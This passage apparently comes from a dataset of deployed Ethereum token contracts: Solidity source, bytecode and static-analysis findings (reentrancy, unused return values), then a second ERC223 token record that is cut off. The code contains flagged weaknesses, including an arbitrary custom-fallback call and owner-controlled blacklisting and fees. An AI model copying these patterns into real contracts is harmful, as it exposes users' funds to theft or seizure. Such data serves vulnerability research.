toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2); uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens); uint256 amountToSwapForETH = toSwap.sub(liquidityTokens); _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance; uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH); uint256 ethForLiquidity = ethBalance.sub(ethForTax); tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2)); tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2))); payable(address(dev)).transfer(ethForTax); _addLiquidity(liquidityTokens, ethForLiquidity); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, liquidity, block.timestamp ); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _setBlacklist(address account, bool value) internal { isBlacklisted[account] = value; } function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent){ require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); } receive() external payable {} }
0x60806040526004361061037a5760003560e01c80638036d590116101d1578063c024666811610102578063e6acd7e5116100a0578063f11a24d31161006f578063f11a24d314610c01578063f637434214610c16578063fb0ecfa414610c2b578063fe575a8714610c5b57610381565b8063e6acd7e514610b8f578063e9b786cb14610ba4578063ea43915e14610bb9578063eb91e65114610bce57610381565b8063d00efb2f116100dc578063d00efb2f14610ada578063d163364914610aef578063dd62ed3e14610b19578063e16830a814610b5457610381565b8063c024666814610a4f578063c3c8cd8014610a8a578063cd49513f14610a9f57610381565b8063a1addd951161016f578063af465a2711610149578063af465a27146109a1578063b222e0c2146109b6578063b40f9469146109e9578063bf95793d14610a1c57610381565b8063a1addd9514610927578063a3e6746014610953578063a9059cbb1461096857610381565b80638da5cb5b116101ab5780638da5cb5b146108b5578063904236d1146108ca57806395d89b41146108df5780639cfe42da146108f457610381565b80638036d590146108505780638366e79a1461086557806386917524146108a057610381565b80635932ead1116102ab5780636fc3eaec11610249578063728d41c911610223578063728d41c9146107ab57806373dd858c146107d5578063766f9bb2146108085780637f2feddc1461081d57610381565b80636fc3eaec1461074e57806370a0823114610763578063715018a61461079657610381565b806364f5a5bb1161028557806364f5a5bb146106ca57806366a88d96146106f45780636ac9a870146107095780636d7adcad1461073957610381565b80635932ead1146106445780635ec6ee76146106705780636402511e146106a057610381565b806323b872dd11610318578063307aebc9116102f2578063307aebc9146105bc578063313ce567146105d157806349bd5a5e146105fc5780634fbee1931461061157610381565b806323b872dd146105295780632d3aecc91461056c57806330280a711461058157610381565b80631694505e116103545780631694505e1461048957806318160ddd146104ba5780631816467f146104e15780631a8145bb1461051457610381565b806306fdde0314610386578063095ea7b3146104105780630a37a3f31461045d57610381565b3661038157005b600080fd5b34801561039257600080fd5b5061039b610c8e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d55781810151838201526020016103bd565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b506104496004803603604081101561043357600080fd5b506001600160a01b038135169060200135610d24565b604080519115158252519081900360200190f35b34801561046957600080fd5b506104876004803603602081101561048057600080fd5b5035610d42565b005b34801561049557600080fd5b5061049e610dac565b604080516001600160a01b039092168252519081900360200190f35b3480156104c657600080fd5b506104cf610dc4565b60408051918252519081900360200190f35b3480156104ed57600080fd5b506104876004803603602081101561050457600080fd5b50356001600160a01b0316610dca565b34801561052057600080fd5b506104cf610e44565b34801561053557600080fd5b506104496004803603606081101561054c57600080fd5b506001600160a01b03813581169160208101359091169060400135610e4a565b34801561057857600080fd5b506104cf610ed1565b34801561058d57600080fd5b50610487600480360360408110156105a457600080fd5b506001600160a01b0381351690602001351515610ed7565b3480156105c857600080fd5b50610449610fb8565b3480156105dd57600080fd5b506105e6610fc6565b6040805160ff9092168252519081900360200190f35b34801561060857600080fd5b5061049e610fcb565b34801561061d57600080fd5b506104496004803603602081101561063457600080fd5b50356001600160a01b0316610fda565b34801561065057600080fd5b506104876004803603602081101561066757600080fd5b50351515610fef565b34801561067c57600080fd5b506104876004803603604081101561069357600080fd5b5080359060200135611063565b3480156106ac57600080fd5b50610487600480360360208110156106c357600080fd5b503561110f565b3480156106d657600080fd5b50610487600480360360208110156106ed57600080fd5b5035611172565b34801561070057600080fd5b506104cf611220565b34801561071557600080fd5b506104876004803603604081101561072c57600080fd5b5080359060200135611226565b34801561074557600080fd5b506104cf6112dc565b34801561075a57600080fd5b506104876112e2565b34801561076f57600080fd5b506104cf6004803603602081101561078657600080fd5b50356001600160a01b0316611378565b3480156107a257600080fd5b50610487611393565b3480156107b757600080fd5b50610487600480360360208110156107ce57600080fd5b5035611435565b3480156107e157600080fd5b50610487600480360360208110156107f857600080fd5b50356001600160a01b03166114ed565b34801561081457600080fd5b506104cf611567565b34801561082957600080fd5b506104cf6004803603602081101561084057600080fd5b50356001600160a01b031661156d565b34801561085c57600080fd5b506104cf61157e565b34801561087157600080fd5b506104496004803603604081101561088857600080fd5b506001600160a01b0381358116916020013516611584565b3480156108ac57600080fd5b506104cf611741565b3480156108c157600080fd5b5061049e611747565b3480156108d657600080fd5b506104cf611756565b3480156108eb57600080fd5b5061039b61175c565b34801561090057600080fd5b506104876004803603602081101561091757600080fd5b50356001600160a01b03166117bd565b34801561093357600080fd5b506104876004803603602081101561094a57600080fd5b50351515611935565b34801561095f57600080fd5b506104cf6119ab565b34801561097457600080fd5b506104496004803603604081101561098b57600080fd5b506001600160a01b0381351690602001356119b1565b3480156109ad57600080fd5b506104cf6119c5565b3480156109c257600080fd5b506104cf600480360360208110156109d957600080fd5b50356001600160a01b03166119cb565b3480156109f557600080fd5b5061044960048036036020811015610a0c57600080fd5b50356001600160a01b03166119dd565b348015610a2857600080fd5b5061044960048036036020811015610a3f57600080fd5b50356001600160a01b03166119f2565b348015610a5b57600080fd5b5061048760048036036040811015610a7257600080fd5b506001600160a01b0381351690602001351515611a07565b348015610a9657600080fd5b50610487611afe565b348015610aab57600080fd5b5061048760048036036040811015610ac257600080fd5b506001600160a01b0381351690602001351515611b66565b348015610ae657600080fd5b506104cf611bdc565b348015610afb57600080fd5b5061048760048036036020811015610b1257600080fd5b5035611be2565b348015610b2557600080fd5b506104cf60048036036040811015610b3c57600080fd5b506001600160a01b0381358116916020013516611cea565b348015610b6057600080fd5b5061048760048036036040811015610b7757600080fd5b506001600160a01b0381351690602001351515611d15565b348015610b9b57600080fd5b506104cf611df6565b348015610bb057600080fd5b506104cf611dfc565b348015610bc557600080fd5b50610487611e02565b348015610bda57600080fd5b5061048760048036036020811015610bf157600080fd5b50356001600160a01b0316611e6a565b348015610c0d57600080fd5b506104cf611f3a565b348015610c2257600080fd5b506104cf611f40565b348015610c3757600080fd5b5061048760048036036040811015610c4e57600080fd5b5080359060200135611f46565b348015610c6757600080fd5b5061044960048036036020811015610c7e57600080fd5b50356001600160a01b0316611ff7565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d1a5780601f10610cef57610100808354040283529160200191610d1a565b820191906000526020600020905b815481529060010190602001808311610cfd57829003601f168201915b5050505050905090565b6000610d38610d31612108565b848461210c565b5060015b92915050565b610d4a612108565b6005546001600160a01b03908116911614610d9a576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b60038110610da757600080fd5b601b55565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60025490565b610dd2612108565b6005546001600160a01b03908116911614610e22576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601680546001600160a01b0319166001600160a01b0392909216919091179055565b60105481565b6000610e578484846121f8565b610ec784610e63612108565b610ec285604051806060016040528060288152602001612fe9602891396001600160a01b038a16600090815260016020526040812090610ea1612108565b6001600160a01b03168152602081019190915260400160002054919061287b565b61210c565b5060019392505050565b600d5481565b610edf612108565b6005546001600160a01b03908116911614610f2f576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601d602052604090205460ff1615158115151415610f8d5760405162461bcd60e51b8152600401808060200182810382526022815260200180612fa66022913960400191505060405180910390fd5b6001600160a01b03919091166000908152601d60205260409020805460ff1916911515919091179055565b601a54610100900460ff1681565b600990565b6018546001600160a01b031681565b601c6020526000908152604090205460ff1681565b610ff7612108565b6005546001600160a01b03908116911614611047576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601a8054911515620100000262ff000019909216919091179055565b61106b612108565b6005546001600160a01b039081169116146110bb576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b60186110c783836120ae565b11156111045760405162461bcd60e51b81526004018080602001828103825260298152602001806130c16029913960400191505060405180910390fd5b600e91909155600f55565b611117612108565b6005546001600160a01b03908116911614611167576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b633b9aca0002601355565b61117a612108565b6005546001600160a01b039081169116146111ca576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b60008111611215576040805162461bcd60e51b815260206004820152601360248201527206d61782074782063616e206e6f74206265203606c1b604482015290519081900360640190fd5b633b9aca0002601455565b60155481565b61122e612108565b6005546001600160a01b0390811691161461127e576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b600c61128a83836120ae565b11156112c75760405162461bcd60e51b8152600401808060200182810382526029815260200180612f586029913960400191505060405180910390fd5b6008829055600b819055600c91909155600d55565b60115481565b6112ea612108565b6005546001600160a01b0390811691161461133a576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b60165460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611374573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526020819052604090205490565b61139b612108565b6005546001600160a01b039081169116146113eb576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b61143d612108565b6005546001600160a01b0390811691161461148d576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b600081116114e2576040805162461bcd60e51b815260206004820152601760248201527f6d61782077616c6c65742063616e206e6f742062652030000000000000000000604482015290519081900360640190fd5b633b9aca0002601555565b6114f5612108565b6005546001600160a01b03908116911614611545576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601780546001600160a01b0319166001600160a01b0392909216919091179055565b600f5481565b602080526000908152604090205481565b60145481565b600061158e612108565b6005546001600160a01b039081169116146115de576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6001600160a01b03831630141561163c576040805162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e7300000000604482015290519081900360640190fd5b6000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561168b57600080fd5b505afa15801561169f573d6000803e3d6000fd5b505050506040513d60208110156116b557600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0386811660048301526024820184905291519293509086169163a9059cbb916044808201926020929091908290030181600087803b15801561170d57600080fd5b505af1158015611721573d6000803e3d6000fd5b505050506040513d602081101561173757600080fd5b5051949350505050565b60135481565b6005546001600160a01b031690565b600b5481565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d1a5780601f10610cef57610100808354040283529160200191610d1a565b6117c5612108565b6005546001600160a01b03908116911614611815576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152601f602052604090205460ff1615611883576040805162461bcd60e51b815260206004820152601e60248201527f426c61636b6c6973743a20416c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b601a54640100000000900460ff166118cc5760405162461bcd60e51b8152600401808060200182810382526028815260200180612f0a6028913960400191505060405180910390fd5b6018546001600160a01b0382811691161415611927576040805162461bcd60e51b815260206004820152601560248201527421b0b73737ba10313630b1b5b634b9ba103830b4b960591b604482015290519081900360640190fd5b611932816001612912565b50565b61193d612108565b6005546001600160a01b0390811691161461198d576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601a805491151563010000000263ff00000019909216919091179055565b600e5481565b6000610d386119be612108565b84846121f8565b60125481565b60216020526000908152604090205481565b601e6020526000908152604090205460ff1681565b601d6020526000908152604090205460ff1681565b611a0f612108565b6005546001600160a01b03908116911614611a5f576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601c602052604090205460ff1615158115151415611ad3576040805162461bcd60e51b815260206004820152601f60248201527f466565733a20416c72656164792073657420746f20746869732076616c756500604482015290519081900360640190fd5b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b611b06612108565b6005546001600160a01b03908116911614611b56576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601154601054016119328161293d565b611b6e612108565b6005546001600160a01b03908116911614611bbe576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b611bc88282611a07565b611bd28282610ed7565b6113748282611d15565b60195481565b611bea612108565b6005546001600160a01b03908116911614611c3a576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601a54610100900460ff1615611c97576040805162461bcd60e51b815260206004820152601c60248201527f436f6e747261637420697320616c7265616479206c61756e6368656400000000604482015290519081900360640190fd5b601b819055601a805461ff00191661010017905543601955601254611ccb9061271090611cc590606461200c565b9061206c565b601455601254611ce49061271090611cc590606461200c565b60155550565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611d1d612108565b6005546001600160a01b03908116911614611d6d576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601e602052604090205460ff1615158115151415611dcb5760405162461bcd60e51b815260040180806020018281038252602681526020018061309b6026913960400191505060405180910390fd5b6001600160a01b03919091166000908152601e60205260409020805460ff1916911515919091179055565b600c5481565b60095481565b611e0a612108565b6005546001600160a01b03908116911614611e5a576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b601a805464ff0000000019169055565b611e72612108565b6005546001600160a01b03908116911614611ec2576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152601f602052604090205460ff16611f2f576040805162461bcd60e51b815260206004820152601a60248201527f426c61636b6c6973743a204e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b611932816000612912565b60075481565b60085481565b611f4e612108565b6005546001600160a01b03908116911614611f9e576040805162461bcd60e51b81526020600482018190526024820152600080516020613011833981519152604482015290519081900360640190fd5b600c611faa83836120ae565b1115611fe75760405162461bcd60e51b8152600401808060200182810382526025815260200180612f816025913960400191505060405180910390fd5b600791909155600a819055600955565b601f6020526000908152604090205460ff1681565b60008261201b57506000610d3c565b8282028284828161202857fe5b04146120655760405162461bcd60e51b8152600401808060200182810382526021815260200180612fc86021913960400191505060405180910390fd5b9392505050565b600061206583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a43565b600082820183811015612065576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b0383166121515760405162461bcd60e51b81526004018080602001828103825260248152602001806130776024913960400191505060405180910390fd5b6001600160a01b0382166121965760405162461bcd60e51b8152600401808060200182810382526022815260200180612ee86022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316612253576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b0382166122ae576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b601454811115806122d757506001600160a01b0383166000908152601d602052604090205460ff165b806122fa57506001600160a01b0382166000908152601d602052604090205460ff165b612341576040805162461bcd60e51b8152602060048201526013602482015272547820416d6f756e7420746f6f206c6172676560681b604482015290519081900360640190fd5b6015546123578261235185611378565b906120ae565b11158061237c57506001600160a01b0382166000908152601e602052604090205460ff165b6123b75760405162461bcd60e51b81526004018080602001828103825260218152602001806130316021913960400191505060405180910390fd5b601a54610100900460ff16806123e557506001600160a01b0383166000908152601c602052604090205460ff165b8061240857506001600160a01b0382166000908152601c602052604090205460ff165b61244e576040805162461bcd60e51b815260206004820152601260248201527157616974696e6720746f20676f206c69766560701b604482015290519081900360640190fd5b6001600160a01b0383166000908152601f602052604090205460ff16156124b4576040805162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015290519081900360640190fd5b806124ca576124c583836000612aa8565b612876565b601154601054601354600a546009556018549190920191821015906001600160a01b038681169116148015906124fd5750805b801561250c5750601a5460ff16155b1561253657601a805460ff191660011790556125278261293d565b601a805460ff191690556125ac565b6018546001600160a01b03868116911614801561256157506018546001600160a01b03858116911614155b80156125725750601b546019540143105b801561259757506001600160a01b0384166000908152601c602052604090205460ff16155b156125ac57605a6009556125ac846001612912565b601a546001600160a01b0386166000908152601c602052604090205460ff918216159116806125f357506001600160a01b0385166000908152601c602052604090205460ff165b156125fc575060005b8015612867576018546000906001600160a01b038781169116141561273d57601a546301000000900460ff16156126b2576001600160a01b03871660009081526020805260409020541580159061267057506001600160a01b038716600090815260208052604090205442610e1090910110155b156126a057600e54600855600f54600b556001600160a01b038716600090815260208052604090204290556126ad565b600c54600855600d54600b555b6126bf565b600c54600855600d54600b555b60006126d8600b546008546120ae90919063ffffffff16565b90506126e96064611cc5888461200c565b915061271061270782611cc56008548661200c90919063ffffffff16565b601054906120ae565b601055600b546127349061272b908390611cc590869061200c565b601154906120ae565b60115550612847565b601a5462010000900460ff1615612791576001600160a01b038616600090815260216020526040902054421161277257600080fd5b6001600160a01b0386166000908152602160205260409020601e420190555b601a546301000000900460ff1680156127bf57506001600160a01b0386166000908152602080526040902054155b156127df576001600160a01b038616600090815260208052604090204290555b60006127f86009546007546120ae90919063ffffffff16565b90506128096064611cc5888461200c565b915061282761270782611cc56007548661200c90919063ffffffff16565b6010556009546128429061272b908390611cc590869061200c565b601155505b801561286557612858873083612aa8565b6128628582612c03565b94505b505b612872868686612aa8565b5050505b505050565b6000818484111561290a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128cf5781810151838201526020016128b7565b50505050905090810190601f1680156128fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6000601354905060006129646002611cc585611cc56010548761200c90919063ffffffff16565b9050600061297c826129768582612c03565b90612c03565b9050600061298a8484612c03565b905061299581612c45565b4760006129a683611cc5848761200c565b905060006129b48383612c03565b90506129cd6129c487600261200c565b60105490612c03565b6010556129f16129e86129e188600261200c565b8990612c03565b60115490612c03565b6011556016546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612a2e573d6000803e3d6000fd5b50612a398682612e11565b5050505050505050565b60008183612a925760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156128cf5781810151838201526020016128b7565b506000838581612a9e57fe5b0495945050505050565b6001600160a01b038316612aed5760405162461bcd60e51b81526004018080602001828103825260258152602001806130526025913960400191505060405180910390fd5b6001600160a01b038216612b325760405162461bcd60e51b8152600401808060200182810382526023815260200180612ec56023913960400191505060405180910390fd5b612b3d838383612876565b612b7a81604051806060016040528060268152602001612f32602691396001600160a01b038616600090815260208190526040902054919061287b565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612ba990826120ae565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600061206583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061287b565b60408051600280825260608083018452926020830190803683370190505090503081600081518110612c7357fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612ce057600080fd5b505afa158015612cf4573d6000803e3d6000fd5b505050506040513d6020811015612d0a57600080fd5b5051815182906001908110612d1b57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612dd4578181015183820152602001612dbc565b505050509050019650505050505050600060405180830381600087803b158015612dfd57600080fd5b505af1158015612872573d6000803e3d6000fd5b6017546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0390921660848301524260a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991849160c48082019260609290919082900301818588803b158015612e9357600080fd5b505af1158015612ea7573d6000803e3d6000fd5b50505050506040513d6060811015612ebe57600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373426c61636b6c6973742066756e6374696f6e616c697479206e6f206c6f6e6765722061637469766545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f74616c2064656661756c74206665652063616e206e6f74206265206d6f7265207468616e203132546f74616c20627579206665652063616e206e6f74206265206d6f7265207468616e20313254784c696d69743a20416c72656164792073657420746f20746869732076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e736665722077696c6c206578636565642077616c6c6574206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357616c6c65744c696d69743a20416c72656164792073657420746f20746869732076616c7565546f74616c2064656661756c74206665652063616e206e6f74206265206d6f7265207468616e203235a26469706673582212206c9d2b6847a5fbb8b34e3bd1db45723e835a8b247f1724f450acc5db5c18abcb64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,424
0x33e972a4c2624d5b4cf2d5fee3a1e54dabe9d25e
pragma solidity ^0.4.18; /** * SafeMath */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } /** * Ownable */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * ERC223 */ contract ERC223 { uint public totalSupply; function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * ContractReceiver */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } /** * SGCL */ contract SGCL is ERC223, Ownable { using SafeMath for uint256; string public name = "SGCL"; string public symbol = "SGCL"; uint8 public decimals = 16; uint256 public totalSupply = 1e9 * 1e16; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function SGCL() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > 